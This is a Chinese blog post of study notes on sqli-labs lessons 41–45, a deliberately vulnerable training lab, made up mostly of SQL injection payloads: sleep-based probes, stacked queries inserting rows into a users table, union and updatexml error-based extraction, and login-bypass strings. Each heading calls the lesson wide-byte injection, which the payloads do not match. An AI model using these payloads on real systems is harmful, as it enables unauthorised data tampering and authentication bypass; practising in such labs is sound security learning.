sqli-labs lesson41-45

  1. lesson-41 宽字节注入

判断注入:

?id=1 and sleep(3)

插入数据:

?id=1;insert  into   users (username,password) values ('44','55');

或union select注入:

-1 union select 1,2,database()

2.lesson-42 宽字节注入

判断注入:

单引号注入

在username除无注入,被 mysqli_real_escape_string函数过滤了

插入数据:

login_user=admin&login_password=555';insert into  users (username,password) values ('55','44');-- +&mysubmit=Login

或报错注入:

login_user=admin&login_password=555' or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +&mysubmit=Login

3.lesson-43 宽字节注入

判断注入:

单引号括号注入

插入数据:

login_user=adn&login_password=555');insert into  users (username,password) values ('555','444');-- +&mysubmit=Login

或报错注入

login_user=a&login_password=aaa') or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +&mysubmit=Login

4.lesson-44 宽字节注入

判断注入

为单引号注入

没有报错,不可用盲注判断闭合符号,因为是登录时,查用户名和密码,都是不对的,and sleep(3),就不行了

login_user=aaaa&login_password=aa' or '1'='1&mysubmit=Login

闭合为什么不能用-- +,#,因为查的是登录的用户名和密码,是没有这一条数据的,看不出来是否登录成功

闭合还可以用or 1=1#

用or ' ,and '1'='1,and '都不行,or ' 和查询时的用户名和密码都是假的,所以没数据,and '和and '1'='1一样

插入数据:

login_user=aaaa&login_password=aa' ;insert into  users (username,password) values ('55a5','4a44'); or '1'='1&mysubmit=Login

盲注用不了,因为后面的 or '1'='1,闭合后为恒真

5.lesson-45 宽字节注入

判断注入:

单引号加括号

login_user=aaaa&login_password=aa') or ('1')=('1&mysubmit=Login

插入数据:

login_user=aaaa&login_password=aa') ;insert into  users (username,password) values ('55a5','4a44'); or ('1')=('1&mysubmit=Login

posted @ 2023-03-07 18:52  mushangqiujin  阅读(9)  评论(0)    收藏  举报  来源